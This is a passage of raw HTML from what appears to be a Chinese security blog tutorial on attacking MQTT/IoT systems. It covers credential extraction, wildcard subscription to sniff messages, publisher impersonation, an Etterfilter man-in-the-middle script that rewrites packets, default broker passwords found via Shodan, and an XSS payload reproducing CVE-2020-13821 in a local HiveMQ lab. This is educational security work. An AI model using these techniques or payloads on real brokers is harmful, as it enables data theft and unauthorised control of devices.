sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">△  </span><span style="text-align: justify;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">图片来源：some where</span></p><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">而这些展示的信息来源有部分<strong>可能</strong>是通过浏览器直接连接到MQTT Broker，订阅部分要展示的信息<br/></span></p><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">通过<strong>查看请求信息</strong>或者是从F12中的<strong>network</strong>查看该页面是否有mqtt的连接操作等等，如果有就可以继续在js文件中搜索是否存在mqtt的地址、账号密码等信息</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.9679767103347889" data-s="300,640" data-type="png" data-w="687" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=305e4d7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwAEq2ybPev90OeSzp4K7WRXfvcM3hdSLJblyP57JnBtia0xVSvBQ10XFQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">5. 硬件层面-固件提取</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">对于无法通过一般途径获取账号密码的客户端，我们可以通过<strong>提取设备的固件</strong>，对其<strong>逆向分析</strong>，然后把文件系统中的<strong>证书</strong>或是<strong>账号密码</strong><strong>提取出来</strong></span></p><p style="text-align: center;"><img class="rich_pages" data-s="300,640" data-type="png" style="display: inline;" data-ratio="0.5555555555555556" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=60c47c66&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbLBFibt31OWQJg3tyv0EMXnSgqBIZzdz4Ax7TKfVr4YvnNe6iaMibgR1KBKZWxwpJ2nMlQOn6SdRkvg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">然后我们就可以仿冒该设备连接到Broker，<strong>订阅/#【主题通配符】</strong>。或者是Broker中的ACL配置有问题，尝试是否可以控制其他设备等等</span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">6. 中间人篡改消息</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">这个中间人和刚刚的账号密码嗅探虽然用的是同一种技术，但是这种方法是<strong>直接在流量中修改发送者发出消息</strong></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">现在攻击者和客户端（发布者/订阅者）在同一个网络中，攻击者作为<strong>中间人代理</strong>客户端和Broker的通信<span style="font-size: 10px;"><sup><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">[4]</span></sup></span></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3143631436314363" data-s="300,640" data-type="png" data-w="1476" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=c45a1ce0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwAFIO3EeHBura1YjSD2xgSF3Zw4JogthzOhINyTLEAhgfVyiazUuR7bcA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">假设攻击者想篡改<strong>将发布的主题名从&#34;outTpoic&#34;修改为&#34;outTpuc&#34;</strong>，攻击者需要从流量中筛选出符合条件的报文进行修改，我们可以<strong>使用Etterfilter配合脚本</strong>来完成：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer"><span class="code-snippet__comment">#owned.filter</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (ip.proto == TCP &amp;&amp; tcp.dst == 1883 &amp;&amp; ip.dst == <span class="code-snippet__string">&#39;IP Broker&#39;</span> &amp;&amp;search(DATA.data, <span class="code-snippet__string">&#34;outTopic&#34;</span>)) {</span></code><code><span class="code-snippet_outer">  replace(<span class="code-snippet__string">&#34;outTopic&#34;</span>, <span class="code-snippet__string">&#34;outTopuc&#34;</span>);</span></code><code><span class="code-snippet_outer">  msg(<span class="code-snippet__string">&#34;payload replaced\n&#34;</span>);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><h2 style="margin-top: 1.3em;margin-bottom: 1em;font-weight: bold;font-size: 18px;white-space: normal;border-bottom: 1px solid rgb(238, 238, 238);color: black;"><span style="color: rgb(51, 51, 51);">权限控制问题</span></h2><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">1. 登陆至订阅者</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">当我们通过上述方法登陆至Broker之后，我们可以<strong>订阅该broker的所有主题消息（使用/#，#是MQTT消息主题通配符）</strong>，如下图所示</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6144578313253012" data-s="300,640" data-type="png" data-w="1162" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=54ee6b58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwAhj58ZTvtpiazovlhxLueFt8rKuN2nyZpsX7PfjiaviaL2d30hdtSbVqBw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">此外我们还编写了一个脚本用来提取所有发布者发送的消息，我们可以看到提取出来的信息<strong>包括姓名、电话、经纬度、昵称以及其他敏感信息</strong>等等【实验数据！！！】</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6498371335504886" data-s="300,640" data-type="png" data-w="1228" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=aae8cfb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwAItHG7XLFibzzGyQTuw37u4Vawwku3UpmCzXNogYIc7QYPvGGGoXTxyA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">2</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">.</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"> </span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">登陆至发布者</span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">我们还可以对该系统中的主题进行分析，这里我们以路灯举例，路灯作为订阅者接收来自合法发布者的控制。如下图所示，如果我们<strong>冒充合法发布者对路灯进行恶意控制</strong></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5276679841897233" data-s="300,640" data-type="png" data-w="1012" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=6f2fdad9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwAPPXv03qvATmeuIu3f4QTUxtKrW7oH75rnQbyM4iaJGt2WSmtjOupO6g%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">此外，我们还可以冒充发布者<strong>发布</strong><strong>更新固件指令</strong>，blah ... 下面我们来看个案例<span style="font-size: 10px;"><sup><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">[6]</span></sup></span></span></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="292" data-source-title=""><section class="js_blockquote_digest"><p>智慧大厦场景中存在和停车、安防、灯光、广播、会议、环境监测等相关的各类传感器，这些传感器将受控于网关，并利用网关将数据传输到云端呈现。在本案例中，MQTT的通信安全问题出现在智慧大厦的网关盒子中。</p><p><br/></p><p>拓扑逻辑如下：</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5596153846153846" data-s="300,640" data-type="png" data-w="520" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=d5ac7cb4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwAU0RZiaC7frJFVvqy4ciaThiaMevicaVNoNsia9muo2JN6QcVicMLdaQXoXAA%2F640%3Fwx_fmt%3Dpng"/></p><p>在MQTT的通信场景中，研究员在网关前端抓取TCP数据包，并通过盒子的平台控制盒子的Wi-Fi射频打开与关闭，发现其通信方式使用的是MQTT通信，其认证方式只用了用户名和密码。</p><p><br/></p><p>基于之前的分析，发现只需要一条shell命令即可控制这个通信过程。事实证明，盒子的Wi-Fi指示灯成功被我们熄灭和点亮。</p><p><br/></p><p>由于存在厂商相关的敏感信息，本章不再展示实图，有兴趣的朋友欢迎随时沟通交流。</p><p><br/></p></section></blockquote><p><br/></p><h2 style="margin-top: 1.3em;margin-bottom: 1em;font-weight: bold;font-size: 18px;white-space: normal;border-bottom: 1px solid rgb(238, 238, 238);color: black;"><span style="color: rgb(51, 51, 51);">Broker自身安全性问题</span></h2><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">1</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">.</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"> </span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">默认账户口令</span></span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></span><br/></p><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">现在有很多开源的Broker实现，在国内较为出名的是EMQ X，它不仅提供高并发能力的集群特性还支持扩展插件机制。该项目还提供给用户一个可直观查看的web仪表盘，通过web界面可以管理设备与监控设备等等。</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">但该项目为了方便使用者，直接为web管理台设置了<strong>默认账号密码</strong>，很多厂商部署了EMQ X之后并不会修改默认账号密码，如下图：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.49050826699326394" data-s="300,640" data-type="png" data-w="3266" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=b2f0694e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwAS2sKqp7BRdNicicoicGvPMspfZ2WibicxllWmFC5LibBhkuzNx6ohV0GEDlw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">通过shadon我们检索出<strong>18083端口且title中包含Dashboard</strong>的站点，可以使用默认口令尝试登陆<strong>【我没试！！！！！！求生欲强烈！！！】</strong></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.516091281451141" data-s="300,640" data-type="png" data-w="3418" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=23f006f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwAianqzbqiavzhF8vGjnLRAKibrhsX1uUxJCyA0oQcuxt9ID4pQ7PNDGaKw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">2</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">.</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"> XSS漏洞</span></span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">现在很多Broker都支持WEB端管理，管理员可以直接通过浏览器查看client以及topic等信息。如果我们<strong>使用mqtt直接发送包含有xss的信息到Broker就可以直接绕过web端的防御</strong></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">这里我们使用<strong>CVE-2020-13821</strong>做实验，首先本地搭建一个hivemq 4.3.2：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">docker</span> run -p <span class="code-snippet__number">8080</span>:<span class="code-snippet__number">8080</span> -p <span class="code-snippet__number">1883</span>:<span class="code-snippet__number">1883</span> hivemq/hivemq4:<span class="code-snippet__number">4</span>.<span class="code-snippet__number">3</span>.<span class="code-snippet__number">2</span></span></code></pre></section><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">该Broker的<strong>用户名和密码为admin和hivemq</strong>，如下图所示：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3355739400206825" data-s="300,640" data-type="png" data-w="1934" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=b7658110&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbLBFibt31OWQJg3tyv0EMXnGrZKdibNHGK053LlDGnZhxRXHh2mBnNvSvamc0cwBSw9gulzZWQbwQA%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);text-align: justify;"></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">我们使用hbmqq来发布一个消息，其中消息的内容随便输入，指定client-id为xss payload：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">hbmqtt_pub --url mqtt://ip:port -t / -m 1 -i &#34;<span class="code-snippet__tag">&lt;<span class="code-snippet__name">img</span> <span class="code-snippet__attr">src</span>=<span class="code-snippet__string">x</span> <span class="code-snippet__attr">onerror</span>=<span class="code-snippet__string">prompt(2);</span>&gt;</span>&#34;</span></code></pre></section><p><span style="display: none;line-height: 0px;">‍</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">再回到HiveMQ中的Clients功能页，点击Refresh Snapshot刷新所有MQTT会话：<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4860215053763441" data-s="300,640" data-type="png" data-w="2790" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=0482a5f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbLBFibt31OWQJg3tyv0EMXnT2ia4BnelFciczhxGYsazZohRHZibskUozCjjb5RjragibNgbxRzrEct5Q%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 